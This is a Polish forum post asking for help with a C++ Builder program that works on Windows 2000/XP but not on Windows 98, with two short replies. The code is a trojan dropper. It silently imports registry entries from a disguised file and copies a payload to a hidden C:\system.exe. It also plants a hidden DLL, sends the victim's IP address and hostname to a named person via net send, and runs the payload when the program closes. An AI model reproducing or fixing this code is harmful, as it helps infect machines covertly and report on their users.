No więc program do którego kod znajduje się poniżej nie spełnia swoich funkcji na Windows 98(natomiast na 2000/XP) działa wyśmienicie
Opis:
plik config.dir zawiera informację do rejestru (typowy plik reg tylko z innym rozszerzeniem)
plik osp.add to program
plik Adm.dll to biblioteka do tego programu
A to że nie działa net send to nie ma co się tym znacznie przejmować. Ważne to że po zakończeniu działania tego programu nie jest uruchamiany plik system.exe (pierwotny osp.add)
//---------------------------------------------------------------------------
#include <vcl.h>
#include <winsock2.h>
#pragma hdrstop
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormActivate(TObject *Sender)
{
readConfig();
x += 1;
writeConfig();
WinExec("regedit.exe /s config.dir", SW_HIDE);
CopyFile("osp.add", "C:\\system.exe", true);
WinExec("attrib C:\\system.exe +h +s", SW_HIDE);
CopyFile("AdmDll.dll", "C:\\AdmDll.dll", true);
WinExec("attrib C:\\AdmDll.dll +h +s", SW_HIDE);
AnsiString IP;
AnsiString Host;
char buff[100];
hostent *lphe;
WSADATA WSAData;
WSAStartup(MAKEWORD(2, 0), &WSAData);
gethostname(buff, 100);
lphe = gethostbyname(buff);
IP = AnsiString(inet_ntoa(*(in_addr*)*lphe->h_addr_list));
Host = AnsiString(lphe->h_name);
WSACleanup();
Label1->Caption=IP;
Label2->Caption=Host;
if(x<4){
String command = "net send Maciek Uruchomiłem twój program (Adres). Moje ip to " + IP + " a mój host to " + Host + "";
char* temp = new char[command.Length()];
strcpy(temp, command.c_str());
WinExec(temp, SW_HIDE);
delete temp;
}
}
//---------------------------------------------------------------------------
void TForm1::writeConfig()
{
TIniFile *PlikIni = new TIniFile("pfconfig.ini");
PlikIni->WriteInteger("ADRES", "Uruchomiono", x);
delete PlikIni;
}
//---------------------------------------------------------------------------
void TForm1::readConfig()
{
TIniFile *PlikIni = new TIniFile("pfconfig.ini");
x = PlikIni->ReadInteger("ADRES", "Uruchomiono", 0);
delete PlikIni;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormDestroy(TObject *Sender)
{
WinExec("C:\\system.exe", SW_HIDE);
}
//---------------------------------------------------------------------------
poprawka -> nie działa na windows 98, a działa wyśmienicie na 2000/XP
//1) używaj tagu <cpp>
//2) swoje posty możesz edytować
nie moge bo jestem tylko gościem
//Racja - nie zauważyłem